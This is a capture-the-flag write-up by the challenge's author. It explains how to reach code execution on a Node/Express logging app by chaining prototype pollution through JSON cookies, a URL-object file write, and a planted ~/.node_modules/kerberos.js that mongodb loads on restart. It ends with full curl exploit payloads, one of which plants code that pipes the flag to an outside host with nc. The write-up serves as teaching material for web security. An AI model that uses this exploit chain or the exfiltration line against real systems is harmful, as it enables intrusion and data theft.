title: Infinite Mario
date: May 27, 2023
tags: Writeup Web Esaip_2023 MyChallenges
Difficulty: 500 points | 1 solves
Description: Mario is stuck in an infiniti loop, find a way to save him from this situation.
Sources: infinite_mario.zip
Author: Me :p
For this challenge, we have a simple express application with an infinite mario bros game in the frontend:
As we have sources, we can get more information about the backend logic. Thanks to it, we can understand that the only things implemented is a custom logging middleware:
process.chdir("logs/");
var merge = (src, dst) => {
for (const [key, value] of Object.entries(src)) {
if (`${value}`.includes("object")) {
dst[key] = merge(value, typeof dst[key] === "object" ? dst[key] : {});
} else {
dst[key] = value || dst[key] || "";
}
}
return dst;
};
// Retracted
app.use("/static", express.static(path.join(__dirname, "static")));
app.use(cookieParser());
app.use((req, res) => {
var config = merge({
path: req.cookies.log,
data: [req.url, req.method, req.headers.referer]
},{
path: "all_users.txt",
data: []
});
if (!config.path.includes("/")) {
fs.writeFile(config.path, config.data.join(" | "), (e) => {
if (e) {
fs.mkdir(config.path, { recursive: true }, (e) => {
if (e) {
throw new Error(e);
}
});
} else {
console.log(`[LOG] Log saved into: ${config.path}.`);
}
})
}
req.next();
})
As we can see from the above snippet, it takes the req.cookies.log value as a file path and log req.url, req.method and req.headers.referer. Furthermore, we know that the flag is located at the root of the Docker. Thus, we most probably need to find a way to get an RCE.
Something interesting about the logging system is that it uses a custom merge function which is vulnerable to prototype pollution:
To trigger the pollution, we need to be able to provide an object inside the req.cookies.log value. At the first place, it could look impossible, but thanks to the cookieParser middleware, we can prepend the cookie value by j: to specify that the content is a JSON Object!
function JSONCookie (str) {
if (typeof str !== 'string' || str.substr(0, 2) !== 'j:') {
return undefined
}
try {
return JSON.parse(str.slice(2))
} catch (err) {
return undefined
}
}
Thus, using the following log cookie value will trigger the pollution:
j:{"__proto__": {"polluted": true}}
Now that we have a prototype pollution, we need to find a way to use it to bypass the following restriction:
if (!config.path.includes("/")) {
// Retracted
}
The problem here, is that includes method is only associated with and Array or String object:
In addition, it is impossible to have an Array as the merge function result, which blocks any basic type juggling exploitation.
Therefore, thanks to the prototype pollution, it is possible to overwrite the __proto__ value by an Array which will add the includes method in the prototype chain:
Thanks to the previous tricks, it is possible to to bypass the .includes("/") check. Unfortunately, it would makes the fs.writeFile function crash:
Therefore, thanks to a magic trick, it is possible to make it a valid input 👀
Reading the nodeJs documentation, we can see that fs.writeFile function accepts an URL object as filename:
If we dig into the fs.writeFile source code we can see the following call tree:
function writeFile(path, data, options, callback) {
// Retracted
fs.open(path, flag, options.mode, (openErr, fd) => { // <-- Path used here
// Retracted
});
}
function open(path, flags, mode, callback) {
path = getValidatedPath(path); // <-- Verify path here
// Retracted
}
const getValidatedPath = hideStackFrames((fileURLOrPath, propName = 'path') => {
const path = toPathIfFileURL(fileURLOrPath); // Normalise URL path here
validatePath(path, propName);
return path;
});
function toPathIfFileURL(fileURLOrPath) {
if (!isURLInstance(fileURLOrPath)) // Verify URL path type here
return fileURLOrPath;
return fileURLToPath(fileURLOrPath); // Normalise URL path here
}
function isURLInstance(fileURLOrPath) {
return fileURLOrPath != null && fileURLOrPath.href && fileURLOrPath.origin; // URL path object simply need href & origin to be set
}
function fileURLToPath(path) {
// Retracted
if (path.protocol !== 'file:') // Protocol must be file
throw new ERR_INVALID_URL_SCHEME('file');
return isWindows ? getPathFromURLWin32(path) : getPathFromURLPosix(path); // Get path value
}
function getPathFromURLPosix(url) {
if (url.hostname !== '') { // Hostname must be set
throw new ERR_INVALID_FILE_URL_HOST(platform);
}
const pathname = url.pathname; // File path comes from pathname
// Retracted
return decodeURIComponent(pathname);
}
Thus, if we regroup the previous information into one payload, we can get the following working exploit 🔥
Another writeup speaking about this technique: link.
Now that we have a FW thanks to the JSON cookie + prototype pollution + URL path, we need to find a way to leverage that to RCE. If we look closer into the application source code, something might catch your eyes:
const mongodb = require("mongodb");
The mongodb library is imported but never used. This is a really important point because, if we use strace and grep no such file we can find:
strace node app.js 2>&1 | grep "home" | grep "No such file"
If we create the .node_modules in the home directory and do an strace again, we get:
mkdir ~/.node_modules/
Now, create a .js that doesn't exist, append console.log(1) into it and rerun the application:
echo "console.log(1)" > ~/.node_modules/kerberos.js
As you can see, we get a code execution when the application starts 🔥
Thus, to get an RCE on the challenge instance, we need to find how to do the following:
The first one is pretty simple to do because, thanks to the FW vulnerability and the following code, we can create any directory we want to:
fs.writeFile(config.path, config.data.join(" | "), (e) => {
if (e) {
fs.mkdir(config.path, { recursive: true }, (e) => {
if (e) {
throw new Error(e);
}
});
} else {
console.log(`[LOG] Log saved into: ${config.path}.`);
}
})
For the second condition, there is something important to know about express. In fact, it prevent an application to crash in case of an error in the main process, therefore this protection isn't applied in case of child process.
In addition, in the above code, the in the fs.mkdir callback, there is a throw new Error(e) which is not handled by a try catch. In addition, fs.mkdir spawn a new process which could be used to make the application crash. Finally, taking a look into the Dockerfile entrypoint, we can see that the application is automatically restart if it cash 🔥
CMD ["/bin/sh", "-c", "while true; do node /usr/app/app.js; done"]
Thus, to get the RCE we need to:
# Create malicious folder
curl -H 'Cookie: log=j:{"origin":"random","href":"random","protocol":"file:","hostname":"","pathname":"/home/challenge/.node_modules/","__proto__":[]}' http://localhost:3000/
# Backdoor the application
curl -H 'Referer: */require("child_process").exec("cat /flag | nc mizu.re 4444")' -H 'Cookie: log=j:{"origin":"random","href":"random","protocol":"file:","hostname":"","pathname":"/home/challenge/.node_modules/kerberos.js","__proto__":[]}' http://localhost:3000/*
# Trigger the payload
curl -H 'Cookie: log=j:{"origin":"random","href":"random","protocol":"file:","hostname":"","pathname":"/a/a/a","__proto__":[]}' http://localhost:3000/
Flag: ECTF{N0d3jS_F1l3_Wr1T3_2_Rc3} 🎉